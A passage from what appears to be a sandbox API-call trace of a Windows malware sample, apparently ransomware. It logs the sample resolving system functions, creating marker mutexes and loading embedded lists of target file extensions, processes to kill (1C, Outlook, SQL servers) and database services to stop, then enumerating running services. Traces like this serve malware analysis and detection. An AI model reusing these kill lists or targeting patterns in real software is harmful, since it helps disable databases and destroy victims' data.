(hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0123.353] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0123.353] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileW") returned 0x76e39af0 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSizeEx") returned 0x76e259e2 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesW") returned 0x76e21b18 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameW") returned 0x76e2dd0e [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameA") returned 0x76e3b6e0 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexW") returned 0x76e2424c [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenW") returned 0x76e21700 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenA") returned 0x76e25a4b [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDrives") returned 0x76e25371 [0123.354] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77842270 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="OpenMutexW") returned 0x76e25151 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x778422b0 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForMultipleObjects") returned 0x76e24220 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiA") returned 0x76e23e8e [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x778545f5 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0123.355] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileAttributesW") returned 0x76e3d4f7 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="GetVolumeInformationW") returned 0x76e3c860 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77861f6e [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7784e026 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="CreatePipe") returned 0x76ea415b [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="SetHandleInformation") returned 0x76e3195c [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0123.356] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringA") returned 0x76e23c5a [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0123.357] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0123.357] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x770c0000 [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="RegOpenKeyExW") returned 0x770d468d [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="RegQueryValueExW") returned 0x770d46ad [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="RegSetValueExW") returned 0x770d14d6 [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="RegCloseKey") returned 0x770d469d [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="OpenProcessToken") returned 0x770d4304 [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="GetTokenInformation") returned 0x770d431c [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="OpenSCManagerW") returned 0x770cca64 [0125.023] GetProcAddress (hModule=0x770c0000, lpProcName="OpenServiceW") returned 0x770cca4c [0125.024] GetProcAddress (hModule=0x770c0000, lpProcName="CloseServiceHandle") returned 0x770d369c [0125.024] GetProcAddress (hModule=0x770c0000, lpProcName="ControlService") returned 0x770e7144 [0125.024] GetProcAddress (hModule=0x770c0000, lpProcName="QueryServiceStatus") returned 0x770d2a86 [0125.024] GetProcAddress (hModule=0x770c0000, lpProcName="EnumDependentServicesW") returned 0x770c1e3a [0125.024] GetProcAddress (hModule=0x770c0000, lpProcName="EnumServicesStatusExW") returned 0x770cb466 [0125.024] LoadLibraryA (lpLibFileName="user32.dll") returned 0x753f0000 [0125.037] GetProcAddress (hModule=0x753f0000, lpProcName="SystemParametersInfoW") returned 0x754090d3 [0125.037] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75520000 [0125.041] GetProcAddress (hModule=0x75520000, lpProcName="ShellExecuteExW") returned 0x75541e46 [0125.041] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77820000 [0125.041] GetProcAddress (hModule=0x77820000, lpProcName="NtQuerySystemInformation") returned 0x7783fda0 [0125.041] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x739c0000 [0126.650] GetProcAddress (hModule=0x739c0000, lpProcName="WNetCloseEnum") returned 0x739c2dd6 [0126.650] GetProcAddress (hModule=0x739c0000, lpProcName="WNetOpenEnumW") returned 0x739c2f06 [0126.650] GetProcAddress (hModule=0x739c0000, lpProcName="WNetEnumResourceW") returned 0x739c3058 [0126.650] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x769a0000 [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="WSAStartup") returned 0x769a3ab2 [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="socket") returned 0x769a3eb8 [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="send") returned 0x769a6f01 [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="recv") returned 0x769a6b0e [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="connect") returned 0x769a6bdd [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="closesocket") returned 0x769a3918 [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="gethostbyname") returned 0x769b7673 [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="inet_addr") returned 0x769a311b [0126.682] GetProcAddress (hModule=0x769a0000, lpProcName="ntohl") returned 0x769a2d57 [0126.683] GetProcAddress (hModule=0x769a0000, lpProcName="htonl") returned 0x769a2d57 [0126.683] GetProcAddress (hModule=0x769a0000, lpProcName="htons") returned 0x769a2d8b [0126.683] GetProcessHeap () returned 0x300000 [0126.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x314238 [0126.683] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6600619160) returned 1 [0126.683] GetTickCount () returned 0x112fcd6 [0126.683] GetCurrentProcessId () returned 0x568 [0126.683] GetTickCount () returned 0x112fcd6 [0126.683] GetTickCount () returned 0x112fcd6 [0126.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x314260 [0126.683] GetVersion () returned 0x1db10106 [0126.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x7) returned 0x303820 [0126.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x310d40 [0126.684] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310d40, Size=0x20) returned 0x3142b0 [0126.684] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3142b0, Size=0x40) returned 0x314820 [0126.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x314a98 [0126.684] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885A") returned 0x0 [0126.684] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_3G6885A") returned 0x84 [0126.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x303820 | out: hHeap=0x300000) returned 1 [0126.684] lstrlenW (lpString="Global\\syncronize_") returned 18 [0126.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314820 | out: hHeap=0x300000) returned 1 [0126.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x7) returned 0x303820 [0126.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x310d40 [0126.684] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310d40, Size=0x20) returned 0x3142b0 [0126.685] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3142b0, Size=0x40) returned 0x314820 [0126.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x324aa0 [0126.685] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885U") returned 0x0 [0126.685] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_3G6885U") returned 0x88 [0126.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x303820 | out: hHeap=0x300000) returned 1 [0126.685] lstrlenW (lpString="Global\\syncronize_") returned 18 [0126.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314820 | out: hHeap=0x300000) returned 1 [0126.685] GetVersion () returned 0x1db10106 [0126.685] GetCurrentProcess () returned 0xffffffff [0126.685] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0126.685] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0126.685] CloseHandle (hObject=0x8c) returned 1 [0126.685] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0126.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x303820 [0126.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x310d40 [0126.685] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310d40, Size=0x20) returned 0x3142b0 [0126.685] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3142b0, Size=0x40) returned 0x314820 [0126.685] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314820, Size=0x80) returned 0x314820 [0126.685] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314820, Size=0x100) returned 0x314820 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x34) returned 0x314928 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x310930 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x310940 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x310950 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x310d40 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x314968 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x310d58 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314968, Size=0x8) returned 0x314968 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x310d70 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314968, Size=0x10) returned 0x314968 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x310d88 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x310da0 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314968, Size=0x20) returned 0x314968 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x310db8 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x310dd0 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310930, Size=0x8) returned 0x310930 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310940, Size=0x8) returned 0x310940 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x314990 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x310de8 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x3149a0 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x310e00 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3149a0, Size=0x8) returned 0x3149a0 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334ac0 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3149a0, Size=0x10) returned 0x3149a0 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334ad8 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x3149b8 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3149a0, Size=0x20) returned 0x3149c8 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310930, Size=0x10) returned 0x3149a0 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310940, Size=0x10) returned 0x3149f0 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x310930 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334af0 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x310940 [0126.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334b08 [0126.686] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x310940, Size=0x8) returned 0x310940 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x314a08 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334b20 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x314a18 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334b38 [0126.687] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314a18, Size=0x8) returned 0x314a18 [0126.687] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3149a0, Size=0x20) returned 0x314a28 [0126.687] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3149f0, Size=0x20) returned 0x334ea8 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x3149f0 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334b50 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x3149a0 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa) returned 0x334b68 [0126.687] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3149a0, Size=0x8) returned 0x3149a0 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x334ed0 [0126.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x334ef0 [0126.687] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0126.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314820 | out: hHeap=0x300000) returned 1 [0126.687] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0126.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b80 [0126.994] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b80, Size=0x20) returned 0x3144b8 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144b8, Size=0x40) returned 0x314878 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x80) returned 0x314878 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x100) returned 0x3351c8 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b80 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b80, Size=0x20) returned 0x3144b8 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144b8, Size=0x40) returned 0x314878 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x80) returned 0x314878 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x100) returned 0x3352d0 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334b80 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x314878 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x8) returned 0x314878 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x314888 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x10) returned 0x3148a8 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x18) returned 0x3148c0 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1a) returned 0x3144b8 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3148a8, Size=0x20) returned 0x3148e0 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1c) returned 0x3144e0 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x16) returned 0x314908 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1a) returned 0x314508 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x334bb0 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x314878 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3353d8 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x8) returned 0x314878 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x3c) returned 0x335420 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314878, Size=0x10) returned 0x3148a8 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x335468 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x18) returned 0x335488 [0126.995] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3148a8, Size=0x20) returned 0x3354a8 [0126.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x24) returned 0x3354d0 [0126.995] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0126.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3351c8 | out: hHeap=0x300000) returned 1 [0126.995] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0126.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3352d0 | out: hHeap=0x300000) returned 1 [0126.996] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x335a50 [0127.476] EnumServicesStatusExW (in: hSCManager=0x335a50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0127.479] GetLastError () returned 0xea [0127.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xacc) returned 0x339350 [0127.479] EnumServicesStatusExW (in: hSCManager=0x335a50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x339350, cbBufSize=0xacc, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x339350, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0127.483] CloseServiceHandle (hSCObject=0x335a50) returned 1 [0128.679] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0128.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0128.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0128.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0128.679] lstrlenW (lpString="AudioSrv") returned 8 [0128.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0128.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0128.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0128.680] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0128.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0128.680] lstrlenW (lpString="BFE") returned 3 [0128.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0128.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0128.680] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0128.680] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0128.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0128.680] lstrlenW (lpString="CscService") returned 10 [0128.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0128.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0128.680] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0128.680] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0128.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0128.680] lstrlenW (lpString="DcomLaunch") returned 10 [0128.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0128.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0128.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0128.680] lstrlenW (lpString="Dhcp") returned 4 [0128.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0128.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0128.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0128.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0128.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0128.680] lstrlenW (lpString="Dnscache") returned 8 [0128.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0128.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0128.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0128.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0128.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0128.681] lstrlenW (lpString="eventlog") returned 8 [0128.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0128.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0128.681] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0128.681] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0128.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0128.681] lstrlenW (lpString="EventSystem") returned 11 [0128.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0128.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0128.681] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0128.681] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0128.681] lstrcmpiW 